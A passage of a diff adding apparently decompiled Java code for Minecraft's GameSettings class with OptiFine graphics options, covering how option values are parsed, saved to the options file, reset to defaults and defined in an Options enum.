+            ofDynamicFov = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofDynamicLights")) && (exception1.length >= 2))
+          {
+            ofDynamicLights = Integer.valueOf(exception1[1]).intValue();
+            ofDynamicLights = limit(ofDynamicLights, OF_DYNAMIC_LIGHTS);
+          }
+          
+          if ((exception1[0].equals("ofFullscreenMode")) && (exception1.length >= 2))
+          {
+            ofFullscreenMode = exception1[1];
+          }
+          
+          if ((exception1[0].equals("ofFastMath")) && (exception1.length >= 2))
+          {
+            ofFastMath = Boolean.valueOf(exception1[1]).booleanValue();
+            MathHelper.fastMath = ofFastMath;
+          }
+          
+          if ((exception1[0].equals("ofFastRender")) && (exception1.length >= 2))
+          {
+            ofFastRender = Boolean.valueOf(exception1[1]).booleanValue();
+          }
+          
+          if ((exception1[0].equals("ofTranslucentBlocks")) && (exception1.length >= 2))
+          {
+            ofTranslucentBlocks = Integer.valueOf(exception1[1]).intValue();
+            ofTranslucentBlocks = Config.limit(ofTranslucentBlocks, 0, 2);
+          }
+          
+          if (exception1[0].equals("key_" + ofKeyBindZoom.getKeyDescription()))
+          {
+            ofKeyBindZoom.setKeyCode(Integer.parseInt(exception1[1]));
+          }
+        }
+        catch (Exception var5)
+        {
+          Config.dbg("Skipping bad option: " + s);
+          var5.printStackTrace();
+        }
+      }
+      
+      KeyBinding.resetKeyBindingArrayAndHash();
+      bufferedreader.close();
+    }
+    catch (Exception var6)
+    {
+      Config.warn("Failed to load options");
+      var6.printStackTrace();
+    }
+  }
+  
+  public void saveOfOptions()
+  {
+    try
+    {
+      PrintWriter exception = new PrintWriter(new FileWriter(optionsFileOF));
+      exception.println("ofRenderDistanceChunks:" + renderDistanceChunks);
+      exception.println("ofFogType:" + ofFogType);
+      exception.println("ofFogStart:" + ofFogStart);
+      exception.println("ofMipmapType:" + ofMipmapType);
+      exception.println("ofOcclusionFancy:" + ofOcclusionFancy);
+      exception.println("ofSmoothFps:" + ofSmoothFps);
+      exception.println("ofSmoothWorld:" + ofSmoothWorld);
+      exception.println("ofAoLevel:" + ofAoLevel);
+      exception.println("ofClouds:" + ofClouds);
+      exception.println("ofCloudsHeight:" + ofCloudsHeight);
+      exception.println("ofTrees:" + ofTrees);
+      exception.println("ofDroppedItems:" + ofDroppedItems);
+      exception.println("ofRain:" + ofRain);
+      exception.println("ofAnimatedWater:" + ofAnimatedWater);
+      exception.println("ofAnimatedLava:" + ofAnimatedLava);
+      exception.println("ofAnimatedFire:" + ofAnimatedFire);
+      exception.println("ofAnimatedPortal:" + ofAnimatedPortal);
+      exception.println("ofAnimatedRedstone:" + ofAnimatedRedstone);
+      exception.println("ofAnimatedExplosion:" + ofAnimatedExplosion);
+      exception.println("ofAnimatedFlame:" + ofAnimatedFlame);
+      exception.println("ofAnimatedSmoke:" + ofAnimatedSmoke);
+      exception.println("ofVoidParticles:" + ofVoidParticles);
+      exception.println("ofWaterParticles:" + ofWaterParticles);
+      exception.println("ofPortalParticles:" + ofPortalParticles);
+      exception.println("ofPotionParticles:" + ofPotionParticles);
+      exception.println("ofFireworkParticles:" + ofFireworkParticles);
+      exception.println("ofDrippingWaterLava:" + ofDrippingWaterLava);
+      exception.println("ofAnimatedTerrain:" + ofAnimatedTerrain);
+      exception.println("ofAnimatedTextures:" + ofAnimatedTextures);
+      exception.println("ofRainSplash:" + ofRainSplash);
+      exception.println("ofLagometer:" + ofLagometer);
+      exception.println("ofShowFps:" + ofShowFps);
+      exception.println("ofAutoSaveTicks:" + ofAutoSaveTicks);
+      exception.println("ofBetterGrass:" + ofBetterGrass);
+      exception.println("ofConnectedTextures:" + ofConnectedTextures);
+      exception.println("ofWeather:" + ofWeather);
+      exception.println("ofSky:" + ofSky);
+      exception.println("ofStars:" + ofStars);
+      exception.println("ofSunMoon:" + ofSunMoon);
+      exception.println("ofVignette:" + ofVignette);
+      exception.println("ofChunkUpdates:" + ofChunkUpdates);
+      exception.println("ofChunkUpdatesDynamic:" + ofChunkUpdatesDynamic);
+      exception.println("ofTime:" + ofTime);
+      exception.println("ofClearWater:" + ofClearWater);
+      exception.println("ofAaLevel:" + ofAaLevel);
+      exception.println("ofAfLevel:" + ofAfLevel);
+      exception.println("ofProfiler:" + ofProfiler);
+      exception.println("ofBetterSnow:" + ofBetterSnow);
+      exception.println("ofSwampColors:" + ofSwampColors);
+      exception.println("ofRandomMobs:" + ofRandomMobs);
+      exception.println("ofSmoothBiomes:" + ofSmoothBiomes);
+      exception.println("ofCustomFonts:" + ofCustomFonts);
+      exception.println("ofCustomColors:" + ofCustomColors);
+      exception.println("ofCustomItems:" + ofCustomItems);
+      exception.println("ofCustomSky:" + ofCustomSky);
+      exception.println("ofShowCapes:" + ofShowCapes);
+      exception.println("ofNaturalTextures:" + ofNaturalTextures);
+      exception.println("ofLazyChunkLoading:" + ofLazyChunkLoading);
+      exception.println("ofDynamicFov:" + ofDynamicFov);
+      exception.println("ofDynamicLights:" + ofDynamicLights);
+      exception.println("ofFullscreenMode:" + ofFullscreenMode);
+      exception.println("ofFastMath:" + ofFastMath);
+      exception.println("ofFastRender:" + ofFastRender);
+      exception.println("ofTranslucentBlocks:" + ofTranslucentBlocks);
+      exception.println("key_" + ofKeyBindZoom.getKeyDescription() + ":" + ofKeyBindZoom.getKeyCode());
+      exception.close();
+    }
+    catch (Exception var2)
+    {
+      Config.warn("Failed to save options");
+      var2.printStackTrace();
+    }
+  }
+  
+  private void updateRenderClouds()
+  {
+    switch (ofClouds)
+    {
+    case 1: 
+    case 2: 
+    default: 
+      clouds = true;
+      break;
+    
+    case 3: 
+      clouds = false;
+    }
+  }
+  
+  public void resetSettings()
+  {
+    renderDistanceChunks = 8;
+    viewBobbing = true;
+    anaglyph = false;
+    limitFramerate = ((int)Options.FRAMERATE_LIMIT.getValueMax());
+    enableVsync = false;
+    updateVSync();
+    mipmapLevels = 4;
+    fancyGraphics = true;
+    ambientOcclusion = 2;
+    clouds = true;
+    fovSetting = 70.0F;
+    gammaSetting = 0.0F;
+    guiScale = 0;
+    particleSetting = 0;
+    heldItemTooltips = true;
+    field_178881_t = false;
+    field_178880_u = true;
+    forceUnicodeFont = false;
+    ofFogType = 1;
+    ofFogStart = 0.8F;
+    ofMipmapType = 0;
+    ofOcclusionFancy = false;
+    ofSmoothFps = false;
+    Config.updateAvailableProcessors();
+    ofSmoothWorld = Config.isSingleProcessor();
+    ofLazyChunkLoading = Config.isSingleProcessor();
+    ofFastMath = false;
+    ofFastRender = false;
+    ofTranslucentBlocks = 0;
+    ofDynamicFov = true;
+    ofDynamicLights = 3;
+    ofAoLevel = 1.0F;
+    ofAaLevel = 0;
+    ofAfLevel = 1;
+    ofClouds = 0;
+    ofCloudsHeight = 0.0F;
+    ofTrees = 0;
+    ofRain = 0;
+    ofBetterGrass = 3;
+    ofAutoSaveTicks = 4000;
+    ofLagometer = false;
+    ofShowFps = false;
+    ofProfiler = false;
+    ofWeather = true;
+    ofSky = true;
+    ofStars = true;
+    ofSunMoon = true;
+    ofVignette = 0;
+    ofChunkUpdates = 1;
+    ofChunkUpdatesDynamic = false;
+    ofTime = 0;
+    ofClearWater = false;
+    ofBetterSnow = false;
+    ofFullscreenMode = "Default";
+    ofSwampColors = true;
+    ofRandomMobs = true;
+    ofSmoothBiomes = true;
+    ofCustomFonts = true;
+    ofCustomColors = true;
+    ofCustomItems = true;
+    ofCustomSky = true;
+    ofShowCapes = true;
+    ofConnectedTextures = 2;
+    ofNaturalTextures = false;
+    ofAnimatedWater = 0;
+    ofAnimatedLava = 0;
+    ofAnimatedFire = true;
+    ofAnimatedPortal = true;
+    ofAnimatedRedstone = true;
+    ofAnimatedExplosion = true;
+    ofAnimatedFlame = true;
+    ofAnimatedSmoke = true;
+    ofVoidParticles = true;
+    ofWaterParticles = true;
+    ofRainSplash = true;
+    ofPortalParticles = true;
+    ofPotionParticles = true;
+    ofFireworkParticles = true;
+    ofDrippingWaterLava = true;
+    ofAnimatedTerrain = true;
+    ofAnimatedTextures = true;
+    Shaders.setShaderPack(Shaders.packNameNone);
+    Shaders.configAntialiasingLevel = 0;
+    Shaders.uninit();
+    Shaders.storeConfig();
+    updateWaterOpacity();
+    mc.refreshResources();
+    saveOptions();
+  }
+  
+  public void updateVSync()
+  {
+    Display.setVSyncEnabled(enableVsync);
+  }
+  
+  private void updateWaterOpacity()
+  {
+    if ((mc.isIntegratedServerRunning()) && (mc.getIntegratedServer() != null))
+    {
+      Config.waterOpacityChanged = true;
+    }
+    
+    optifine.ClearWater.updateWaterOpacity(this, mc.theWorld);
+  }
+  
+  public void setAllAnimations(boolean flag)
+  {
+    int animVal = flag ? 0 : 2;
+    ofAnimatedWater = animVal;
+    ofAnimatedLava = animVal;
+    ofAnimatedFire = flag;
+    ofAnimatedPortal = flag;
+    ofAnimatedRedstone = flag;
+    ofAnimatedExplosion = flag;
+    ofAnimatedFlame = flag;
+    ofAnimatedSmoke = flag;
+    ofVoidParticles = flag;
+    ofWaterParticles = flag;
+    ofRainSplash = flag;
+    ofPortalParticles = flag;
+    ofPotionParticles = flag;
+    ofFireworkParticles = flag;
+    particleSetting = (flag ? 0 : 2);
+    ofDrippingWaterLava = flag;
+    ofAnimatedTerrain = flag;
+    ofAnimatedTextures = flag;
+  }
+  
+  private static int nextValue(int val, int[] vals)
+  {
+    int index = indexOf(val, vals);
+    
+    if (index < 0)
+    {
+      return vals[0];
+    }
+    
+
+    index++;
+    
+    if (index >= vals.length)
+    {
+      index = 0;
+    }
+    
+    return vals[index];
+  }
+  
+
+  private static int limit(int val, int[] vals)
+  {
+    int index = indexOf(val, vals);
+    return index < 0 ? vals[0] : val;
+  }
+  
+  private static int indexOf(int val, int[] vals)
+  {
+    for (int i = 0; i < vals.length; i++)
+    {
+      if (vals[i] == val)
+      {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+  public static enum Options
+  {
+    INVERT_MOUSE("INVERT_MOUSE", 0, "INVERT_MOUSE", 0, "options.invertMouse", false, true), 
+    SENSITIVITY("SENSITIVITY", 1, "SENSITIVITY", 1, "options.sensitivity", true, false), 
+    FOV("FOV", 2, "FOV", 2, "options.fov", true, false, 30.0F, 110.0F, 1.0F), 
+    GAMMA("GAMMA", 3, "GAMMA", 3, "options.gamma", true, false), 
+    SATURATION("SATURATION", 4, "SATURATION", 4, "options.saturation", true, false), 
+    RENDER_DISTANCE("RENDER_DISTANCE", 5, "RENDER_DISTANCE", 5, "options.renderDistance", true, false, 2.0F, 16.0F, 1.0F), 
+    VIEW_BOBBING("VIEW_BOBBING", 6, "VIEW_BOBBING", 6, "options.viewBobbing", false, true), 
+    ANAGLYPH("ANAGLYPH", 7, "ANAGLYPH", 7, "options.anaglyph", false, true), 
+    FRAMERATE_LIMIT("FRAMERATE_LIMIT", 8, "FRAMERATE_LIMIT", 8, "options.framerateLimit", true, false, 0.0F, 260.0F, 5.0F), 
+    FBO_ENABLE("FBO_ENABLE", 9, "FBO_ENABLE", 9, "options.fboEnable", false, true), 
+    RENDER_CLOUDS("RENDER_CLOUDS", 10, "RENDER_CLOUDS", 10, "options.renderClouds", false, true), 
+    GRAPHICS("GRAPHICS", 11, "GRAPHICS", 11, "options.graphics", false, false), 
+    AMBIENT_OCCLUSION("AMBIENT_OCCLUSION", 12, "AMBIENT_OCCLUSION", 12, "options.ao", false, false), 
+    GUI_SCALE("GUI_SCALE", 13, "GUI_SCALE", 13, "options.guiScale", false, false), 
+    PARTICLES("PARTICLES", 14, "PARTICLES", 14, "options.particles", false, false), 
+    CHAT_VISIBILITY("CHAT_VISIBILITY", 15, "CHAT_VISIBILITY", 15, "options.chat.visibility", false, false), 
+    CHAT_COLOR("CHAT_COLOR", 16, "CHAT_COLOR", 16, "options.chat.color", false, true), 
+    CHAT_LINKS("CHAT_LINKS", 17, "CHAT_LINKS", 17, "options.chat.links", false, true), 
+    CHAT_OPACITY("CHAT_OPACITY", 18, "CHAT_OPACITY", 18, "options.chat.opacity", true, false), 
+    CHAT_LINKS_PROMPT("CHAT_LINKS_PROMPT", 19, "CHAT_LINKS_PROMPT", 19, "options.chat.links.prompt", false, true), 
+    SNOOPER_ENABLED("SNOOPER_ENABLED", 20, "SNOOPER_ENABLED", 20, "options.snooper", false, true), 
+    USE_FULLSCREEN("USE_FULLSCREEN", 21, "USE_FULLSCREEN", 21, "options.fullscreen", false, true), 
+    ENABLE_VSYNC("ENABLE_VSYNC", 22, "ENABLE_VSYNC", 22, "options.vsync", false, true), 
+    USE_VBO("USE_VBO", 23, "USE_VBO", 23, "options.vbo", false, true), 
+    TOUCHSCREEN("TOUCHSCREEN", 24, "TOUCHSCREEN", 24, "options.touchscreen", false, true), 
+    CHAT_SCALE("CHAT_SCALE", 25, "CHAT_SCALE", 25, "options.chat.scale", true, false), 
+    CHAT_WIDTH("CHAT_WIDTH", 26, "CHAT_WIDTH", 26, "options.chat.width", true, false), 
+    CHAT_HEIGHT_FOCUSED("CHAT_HEIGHT_FOCUSED", 27, "CHAT_HEIGHT_FOCUSED", 27, "options.chat.height.focused", true, false), 
+    CHAT_HEIGHT_UNFOCUSED("CHAT_HEIGHT_UNFOCUSED", 28, "CHAT_HEIGHT_UNFOCUSED", 28, "options.chat.height.unfocused", true, false), 
+    MIPMAP_LEVELS("MIPMAP_LEVELS", 29, "MIPMAP_LEVELS", 29, "options.mipmapLevels", true, false, 0.0F, 4.0F, 1.0F), 
+    FORCE_UNICODE_FONT("FORCE_UNICODE_FONT", 30, "FORCE_UNICODE_FONT", 30, "options.forceUnicodeFont", false, true), 
+    STREAM_BYTES_PER_PIXEL("STREAM_BYTES_PER_PIXEL", 31, "STREAM_BYTES_PER_PIXEL", 31, "options.stream.bytesPerPixel", true, false), 
+    STREAM_VOLUME_MIC("STREAM_VOLUME_MIC", 32, "STREAM_VOLUME_MIC", 32, "options.stream.micVolumne", true, false), 
+    STREAM_VOLUME_SYSTEM("STREAM_VOLUME_SYSTEM", 33, "STREAM_VOLUME_SYSTEM", 33, "options.stream.systemVolume", true, false), 
+    STREAM_KBPS("STREAM_KBPS", 34, "STREAM_KBPS", 34, "options.stream.kbps", true, false), 
+    STREAM_FPS("STREAM_FPS", 35, "STREAM_FPS", 35, "options.stream.fps", true, false), 
+    STREAM_COMPRESSION("STREAM_COMPRESSION", 36, "STREAM_COMPRESSION", 36, "options.stream.compression", false, false), 
+    STREAM_SEND_METADATA("STREAM_SEND_METADATA", 37, "STREAM_SEND_METADATA", 37, "options.stream.sendMetadata", false, true), 
+    STREAM_CHAT_ENABLED("STREAM_CHAT_ENABLED", 38, "STREAM_CHAT_ENABLED", 38, "options.stream.chat.enabled", false, false), 
+    STREAM_CHAT_USER_FILTER("STREAM_CHAT_USER_FILTER", 39, "STREAM_CHAT_USER_FILTER", 39, "options.stream.chat.userFilter", false, false), 
+    STREAM_MIC_TOGGLE_BEHAVIOR("STREAM_MIC_TOGGLE_BEHAVIOR", 40, "STREAM_MIC_TOGGLE_BEHAVIOR", 40, "options.stream.micToggleBehavior", false, false), 
+    BLOCK_ALTERNATIVES("BLOCK_ALTERNATIVES", 41, "BLOCK_ALTERNATIVES", 41, "options.blockAlternatives", false, true), 
+    REDUCED_DEBUG_INFO("REDUCED_DEBUG_INFO", 42, "REDUCED_DEBUG_INFO", 42, "options.reducedDebugInfo", false, true), 
+    FOG_FANCY("FOG_FANCY", 43, "", 999, "of.options.FOG_FANCY", false, false), 
+    FOG_START("FOG_START", 44, "", 999, "of.options.FOG_START", false, false), 
+    MIPMAP_TYPE("MIPMAP_TYPE", 45, "", 999, "of.options.MIPMAP_TYPE", true, false, 0.0F, 3.0F, 1.0F), 
+    SMOOTH_FPS("SMOOTH_FPS", 46, "", 999, "of.options.SMOOTH_FPS", false, false), 
+    CLOUDS("CLOUDS", 47, "", 999, "of.options.CLOUDS", false, false), 
+    CLOUD_HEIGHT("CLOUD_HEIGHT", 48, "", 999, "of.options.CLOUD_HEIGHT", true, false), 
+    TREES("TREES", 49, "", 999, "of.options.TREES", false, false), 
+    RAIN("RAIN", 50, "", 999, "of.options.RAIN", false, false), 
+    ANIMATED_WATER("ANIMATED_WATER", 51, "", 999, "of.options.ANIMATED_WATER", false, false), 
+    ANIMATED_LAVA("ANIMATED_LAVA", 52, "", 999, "of.options.ANIMATED_LAVA", false, false), 
+    ANIMATED_FIRE("ANIMATED_FIRE", 53, "", 999, "of.options.ANIMATED_FIRE", false, false), 
+    ANIMATED_PORTAL("ANIMATED_PORTAL", 54, "", 999, "of.options.ANIMATED_PORTAL", false, false), 
+    AO_LEVEL("AO_LEVEL", 55, "", 999, "of.options.AO_LEVEL", true, false), 
+    LAGOMETER("LAGOMETER", 56, "", 999, "of.options.LAGOMETER", false, false), 
+    SHOW_FPS("SHOW_FPS", 57, "", 999, "of.options.SHOW_FPS", false, false), 
+    AUTOSAVE_TICKS("AUTOSAVE_TICKS", 58, "", 999, "of.options.AUTOSAVE_TICKS", false, false), 
+    BETTER_GRASS("BETTER_GRASS", 59, "", 999, "of.options.BETTER_GRASS", false, false), 
+    ANIMATED_REDSTONE("ANIMATED_REDSTONE", 60, "", 999, "of.options.ANIMATED_REDSTONE", false, false), 
+    ANIMATED_EXPLOSION("ANIMATED_EXPLOSION", 61, "", 999, "of.options.ANIMATED_EXPLOSION", false, false), 
+    ANIMATED_FLAME("ANIMATED_FLAME", 62, "", 999, "of.options.ANIMATED_FLAME", false, false), 
+    ANIMATED_SMOKE("ANIMATED_SMOKE", 63, "", 999, "of.options.ANIMATED_SMOKE", false, false), 
+    WEATHER("WEATHER", 64, "", 999, "of.options.WEATHER", false, false), 
+    SKY("SKY", 65, "", 999, "of.options.SKY", false, false), 
+    STARS("STARS", 66, "", 999, "of.options.STARS", false, false), 
+    SUN_MOON("SUN_MOON", 67, "", 999, "of.options.SUN_MOON", false, false), 
+    VIGNETTE("VIGNETTE", 68, "", 999, "of.options.VIGNETTE", false, false), 
+    CHUNK_UPDATES("CHUNK_UPDATES", 69, "", 999, "of.options.CHUNK_UPDATES", false, false), 
+    CHUNK_UPDATES_DYNAMIC("CHUNK_UPDATES_DYNAMIC", 70, "", 999, "of.options.CHUNK_UPDATES_DYNAMIC", false, false), 
+    TIME("TIME", 71, "", 999, "of.options.TIME", false, false), 
+    CLEAR_WATER("CLEAR_WATER", 72, "", 999, "of.options.CLEAR_WATER", false, false), 
+    SMOOTH_WORLD("SMOOTH_WORLD", 73, "", 999, "of.options.SMOOTH_WORLD", false, false), 
+    VOID_PARTICLES("VOID_PARTICLES", 74, "", 999, "of.options.VOID_PARTICLES", false, false), 
+    WATER_PARTICLES("WATER_PARTICLES", 75, "", 999, "of.options.WATER_PARTICLES", false, false), 
+    RAIN_SPLASH("RAIN_SPLASH", 76, "", 999, "of.options.RAIN_SPLASH", false, false), 
+    PORTAL_PARTICLES("PORTAL_PARTICLES", 77, "", 999, "of.options.PORTAL_PARTICLES", false, false), 
+    POTION_PARTICLES("POTION_PARTICLES", 78, "", 999, "of.options.POTION_PARTICLES", false, false), 
+    FIREWORK_PARTICLES("FIREWORK_PARTICLES", 79, "", 999, "of.options.FIREWORK_PARTICLES", false, false), 
+    PROFILER("PROFILER", 80, "", 999, "of.options.PROFILER", false, false), 
+    DRIPPING_WATER_LAVA("DRIPPING_WATER_LAVA", 81, "", 999, "of.options.DRIPPING_WATER_LAVA", false, false), 
+    BETTER_SNOW("BETTER_SNOW", 82, "", 999, "of.options.BETTER_SNOW", false, false), 
+    FULLSCREEN_MODE("FULLSCREEN_MODE", 83, "", 999, "of.options.FULLSCREEN_MODE", false, false), 
+    ANIMATED_TERRAIN("ANIMATED_TERRAIN", 84, "", 999, "of.options.ANIMATED_TERRAIN", false, false), 
+    SWAMP_COLORS("SWAMP_COLORS", 85, "", 999, "of.options.SWAMP_COLORS", false, false), 
+    RANDOM_MOBS("RANDOM_MOBS", 86, "", 999, "of.options.RANDOM_MOBS", false, false), 
+    SMOOTH_BIOMES("SMOOTH_BIOMES", 87, "", 999, "of.options.SMOOTH_BIOMES", false, false), 
+    CUSTOM_FONTS("CUSTOM_FONTS", 88, "", 999, "of.options.CUSTOM_FONTS", false, false), 
+    CUSTOM_COLORS("CUSTOM_COLORS", 89, "", 999, "of.options.CUSTOM_COLORS", false, false), 
+    SHOW_CAPES("SHOW_CAPES", 90, "", 999, "of.options.SHOW_CAPES", false, false), 
+    CONNECTED_TEXTURES("CONNECTED_TEXTURES", 91, "", 999, "of.options.CONNECTED_TEXTURES", false, false), 
+    CUSTOM_ITEMS("CUSTOM_ITEMS", 92, "", 999, "of.options.CUSTOM_ITEMS", false, false), 
+    AA_LEVEL("AA_LEVEL", 93, "", 999, "of.options.AA_LEVEL", true, false, 0.0F, 16.0F, 1.0F), 
+    AF_LEVEL("AF_LEVEL", 94, "", 999, "of.options.AF_LEVEL", true, false, 1.0F, 16.0F, 1.0F), 
+    ANIMATED_TEXTURES("ANIMATED_TEXTURES", 95, "", 999, "of.options.ANIMATED_TEXTURES", false, false), 
+    NATURAL_TEXTURES("NATURAL_TEXTURES", 96, "", 999, "of.options.NATURAL_TEXTURES", false, false), 
+    HELD_ITEM_TOOLTIPS("HELD_ITEM_TOOLTIPS", 97, "", 999, "of.options.HELD_ITEM_TOOLTIPS", false, false), 
+    DROPPED_ITEMS("DROPPED_ITEMS", 98, "", 999, "of.options.DROPPED_ITEMS", false, false), 
+    LAZY_CHUNK_LOADING("LAZY_CHUNK_LOADING", 99, "", 999, "of.options.LAZY_CHUNK_LOADING", false, false), 
+    CUSTOM_SKY("CUSTOM_SKY", 100, "", 999, "of.options.CUSTOM_SKY", false, false), 
+    FAST_MATH("FAST_MATH", 101, "", 999, "of.options.FAST_MATH", false, false), 
+    FAST_RENDER("FAST_RENDER", 102, "", 999, "of.options.FAST_RENDER", false, false), 
+    TRANSLUCENT_BLOCKS("TRANSLUCENT_BLOCKS", 103, "", 999, "of.options.TRANSLUCENT_BLOCKS", false, false), 
+    DYNAMIC_FOV("DYNAMIC_FOV", 104, "", 999, "of.options.DYNAMIC_FOV", false, false), 
+    DYNAMIC_LIGHTS("DYNAMIC_LIGHTS", 105, "", 999, "of.options.DYNAMIC_LIGHTS", false, false);
+    
+    private final boolean enumFloat;
+    private final boolean enumBoolean;
+    private final String enumString;
+    private final float valueStep;
+    private float valueMin;
+    private float valueMax; private static final Options[] $VALUES = { INVERT_MOUSE, SENSITIVITY, FOV, GAMMA, SATURATION, RENDER_DISTANCE, VIEW_BOBBING, ANAGLYPH, FRAMERATE_LIMIT, FBO_ENABLE, RENDER_CLOUDS, GRAPHICS, AMBIENT_OCCLUSION, GUI_SCALE, PARTICLES, CHAT_VISIBILITY, CHAT_COLOR, CHAT_LINKS, CHAT_OPACITY, CHAT_LINKS_PROMPT, SNOOPER_ENABLED, USE_FULLSCREEN, ENABLE_VSYNC, USE_VBO, TOUCHSCREEN, CHAT_SCALE, CHAT_WIDTH, CHAT_HEIGHT_FOCUSED, CHAT_HEIGHT_UNFOCUSED, MIPMAP_LEVELS, FORCE_UNICODE_FONT, STREAM_BYTES_PER_PIXEL, STREAM_VOLUME_MIC, STREAM_VOLUME_SYSTEM, STREAM_KBPS, STREAM_FPS, STREAM_COMPRESSION, STREAM_SEND_METADATA, STREAM_CHAT_ENABLED, STREAM_CHAT_USER_FILTER, STREAM_MIC_TOGGLE_BEHAVIOR, BLOCK_ALTERNATIVES, REDUCED_DEBUG_INFO };
+    
+    private static final String __OBFID = "CL_00000653";
+    private static final Options[] $VALUES$ = { INVERT_MOUSE, SENSITIVITY, FOV, GAMMA, SATURATION, RENDER_DISTANCE, VIEW_BOBBING, ANAGLYPH, FRAMERATE_LIMIT, FBO_ENABLE, RENDER_CLOUDS, GRAPHICS, AMBIENT_OCCLUSION, GUI_SCALE, PARTICLES, CHAT_VISIBILITY, CHAT_COLOR, CHAT_LINKS, CHAT_OPACITY, CHAT_LINKS_PROMPT, SNOOPER_ENABLED, USE_FULLSCREEN, ENABLE_VSYNC, USE_VBO, TOUCHSCREEN, CHAT_SCALE, CHAT_WIDTH, CHAT_HEIGHT_FOCUSED, CHAT_HEIGHT_UNFOCUSED, MIPMAP_LEVELS, FORCE_UNICODE_FONT, STREAM_BYTES_PER_PIXEL, STREAM_VOLUME_MIC, STREAM_VOLUME_SYSTEM, STREAM_KBPS, STREAM_FPS, STREAM_COMPRESSION, STREAM_SEND_METADATA, STREAM_CHAT_ENABLED, STREAM_CHAT_USER_FILTER, STREAM_MIC_TOGGLE_BEHAVIOR, BLOCK_ALTERNATIVES, REDUCED_DEBUG_INFO, FOG_FANCY, FOG_START, MIPMAP_TYPE, SMOOTH_FPS, CLOUDS, CLOUD_HEIGHT, TREES, RAIN, ANIMATED_WATER, ANIMATED_LAVA, ANIMATED_FIRE, ANIMATED_PORTAL, AO_LEVEL, LAGOMETER, SHOW_FPS, AUTOSAVE_TICKS, BETTER_GRASS, ANIMATED_REDSTONE, ANIMATED_EXPLOSION, ANIMATED_FLAME, ANIMATED_SMOKE, WEATHER, SKY, STARS, SUN_MOON, VIGNETTE, CHUNK_UPDATES, CHUNK_UPDATES_DYNAMIC, TIME, CLEAR_WATER, SMOOTH_WORLD, VOID_PARTICLES, WATER_PARTICLES, RAIN_SPLASH, PORTAL_PARTICLES, POTION_PARTICLES, FIREWORK_PARTICLES, PROFILER, DRIPPING_WATER_LAVA, BETTER_SNOW, FULLSCREEN_MODE, ANIMATED_TERRAIN, SWAMP_COLORS, RANDOM_MOBS, SMOOTH_BIOMES, CUSTOM_FONTS, CUSTOM_COLORS, SHOW_CAPES, CONNECTED_TEXTURES, CUSTOM_ITEMS, AA_LEVEL, AF_LEVEL, ANIMATED_TEXTURES, NATURAL_TEXTURES, HELD_ITEM_TOOLTIPS, DROPPED_ITEMS, LAZY_CHUNK_LOADING, CUSTOM_SKY, FAST_MATH, FAST_RENDER, TRANSLUCENT_BLOCKS, DYNAMIC_FOV, DYNAMIC_LIGHTS };
+    
+
+    public static Options getEnumOptions(int p_74379_0_)
+    {
+      Options[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        Options var4 = var1[var3];
+        
+        if (var4.returnEnumOrdinal() == p_74379_0_)
+        {
+          return var4;
+        }
+      }
+      
+      return null;
+    }
+    
+    private Options(String p_i46375_1_, int p_i46375_2_, String p_i1015_1_, int p_i1015_2_, String p_i1015_3_, boolean p_i1015_4_, boolean p_i1015_5_)
+    {
+      this(p_i46375_1_, p_i46375_2_, p_i1015_1_, p_i1015_2_, p_i1015_3_, p_i1015_4_, p_i1015_5_, 0.0F, 1.0F, 0.0F);
+    }
+    
+    private Options(String p_i46376_1_, int p_i46376_2_, String p_i45004_1_, int p_i45004_2_, String p_i45004_3_, boolean p_i45004_4_, boolean p_i45004_5_, float p_i45004_6_, float p_i45004_7_, float p_i45004_8_)
+    {
+      enumString = p_i45004_3_;
+      enumFloat = p_i45004_4_;
+      enumBoolean = p_i45004_5_;
+      valueMin = p_i45004_6_;
+      valueMax = p_i45004_7_;
+      valueStep = p_i45004_8_;
+    }
+    
+    public boolean getEnumFloat()
+    {
+      return enumFloat;
+    }
+    
+    public boolean getEnumBoolean()
+    {
+      return enumBoolean;
+    }
+    
+    public int returnEnumOrdinal()
+    {
+      return ordinal();
+    }
+    
+    public String getEnumString()
+    {
+      return enumString;
+    }
+    
+    public float getValueMax()
+    {
+      return valueMax;
+    }
+    
+    public void setValueMax(float p_148263_1_)
+    {
+      valueMax = p_148263_1_;
+    }
+    
+    public float normalizeValue(float p_148266_1_)
+    {
+      return MathHelper.clamp_float((snapToStepClamp(p_148266_1_) - valueMin) / (valueMax - valueMin), 0.0F, 1.0F);
+    }
+    
+    public float denormalizeValue(float p_148262_1_)
+    {
+      return snapToStepClamp(valueMin + (valueMax - valueMin) * MathHelper.clamp_float(p_148262_1_, 0.0F, 1.0F));
+    }
+    
+    public float snapToStepClamp(float p_148268_1_)
+    {
+      p_148268_1_ = snapToStep(p_148268_1_);
+      return MathHelper.clamp_float(p_148268_1_, valueMin, valueMax);
+    }
+    
+    protected float snapToStep(float p_148264_1_)
+    {
+      if (valueStep > 0.0F)
+      {
+        p_148264_1_ = valueStep * Math.round(p_148264_1_ / valueStep);
+      }
+      
+      return p_148264_1_;
+    }
+  }
+  
+  static final class SwitchOptions
+  {
+    static final int[] optionIds = new int[GameSettings.Options.values().length];
+    private static final String __OBFID = "CL_00000652";
+    
+    static
+    {
+      try
+      {
+        optionIds[GameSettings.Options.INVERT_MOUSE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.VIEW_BOBBING.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.ANAGLYPH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.FBO_ENABLE.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.RENDER_CLOUDS.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.CHAT_COLOR.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        optionIds[GameSettings.Options.CHAT_LINKS.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
